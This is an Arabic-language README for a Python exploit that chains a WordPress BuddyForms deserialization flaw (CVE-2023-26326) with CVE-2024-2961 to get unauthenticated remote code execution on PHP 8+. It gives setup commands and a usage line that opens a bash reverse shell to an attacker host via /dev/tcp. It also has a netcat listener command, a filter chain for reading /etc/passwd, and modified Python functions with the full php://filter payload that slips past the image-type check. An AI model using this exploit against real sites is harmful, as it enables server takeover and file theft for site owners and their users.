
استغلال بايثون لـ CVE-2023-26326 (ووردبريس BuddyForms) مقترن بـ CVE-2024-2961 لتحقيق تنفيذ تعليمات برمجية عن بُعد بدون مصادقة عبر php://filter على PHP 8+.
استخدام: python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
في الأصل، تطلبت CVE-2023–26326 سلاسل أدوات (gadget chains) لاستغلالها كثغرة إلغاء تسلسل (deserialization). لم تعد هذه الطريقة مجدية على مواقع ووردبريس الأحدث التي تعمل على PHP 8+؛ ومع ذلك، من خلال ربطها مع CVE-2024-2961، يصبح الاستغلال ممكنًا عبر php://filter بدلاً من phar://.
تم إنشاء الاستغلال بتعديل سكريبت cnext-exploit.py، مع إدخال التغييرات اللازمة لـ CVE-2023-26326، كما هو مفصل في وصف التغييرات.
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT> لالتقاط الصدفة العكسية:nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
لقطة شاشة لتنفيذ الاستغلال
لقطة شاشة لالتقاط الصدفة العكسية
تم الاحتفاظ بالفكرة الأساسية لاستغلال CVE-2024-2961، ولكن كان من الضروري إجراء تعديلات لتكييفه لإرسال سلسلة المرشحات (filters chain) إلى الموقع وتنزيل الملفات من الخادم.
في الاستغلال الأصلي، تُستخدم دالة send لإرسال مسار إلى الخادم:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
بالنسبة لووردبريس مع BuddyForms، يتم التفاعل افتراضيًا عبر طلب POST إلى /wp-admin/admin-ajax.php، حيث تحتوي بيانات الجسم على action=upload_image_from_url&url=<INJECT_POINT>&id=1&accepted_files=image/gif. تعمل معلمة URL كنقطة حقن لإرسال سلسلة المرشحات إلى الخادم. أدى ذلك إلى التعديل التالي في دالة send:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
كانت تحتوي الاستغلال الأصلي على دالة download مسؤولة عن تنزيل الملفات من الخادم. الإصدار التالي من دالة download المستخدم في الاستغلال الأصلي:
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
لتكييف ذلك مع BuddyForms، نحلل دالة buddyforms_upload_image_from_url التي تتعامل مع رفع الصور من عنوان URL. تستخدم file_get_contents، وتتحقق من نوع الملف باستخدام getimagesize()، ثم تحفظ المحتوى تحت دليل wp-content/uploads. وهذا يسمح لنا باستغلال php://filter لقراءة الملفات المحلية وحفظها في دليل الرفع، مما يجعلها متاحة عبر عنوان URL. ومع ذلك، يجب تجاوز فحص الملف بإضافة GIF89a إلى بداية محتوى الملف لمحاكاته كملف GIF. يمكن فعل ذلك باستخدام ربط المرشحات، ويمكن لأداة wrapwrap توليد السلسلة المطلوبة:
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000
توليد سلسلة المرشحات باستخدام wrapwrap
يجب أن تحل سلسلة المرشحات المولدة محل ترميز base64 المستخدم في السكريبت الأصلي. بالإضافة إلى ذلك، يجب تحديث تنسيق استخراج مسار الملف المرفوع من الاستجابة ليتوافق مع تنسيق JSON، الذي يتضمن سمة "response" مضبوطة على مسار الملف.
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
لاحظ أنه يجب إزالة البادئة GIF89a قبل استخدام محتوى الملف في الاستغلال، مما يؤدي إلى دالة download المعدلة التالية:
def download(self, path: str) -> bytes:
# Append prefix "GIF89a" to bypass file type check with getimagesize()
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Remove the prefix "GIF89a"
return self.session.get(file_path).content[6:]
libc.so.6يرجى ملاحظة أن تنزيل ملف libc.so.6 من الخادم قد لا يعمل بشكل صحيح مع سلاسل المرشحات، حيث يتم تعديل الملف الثنائي أثناء العملية. بدلاً من ذلك، يجب توفير الملف الصحيح في الدليل الجذر للاستغلال.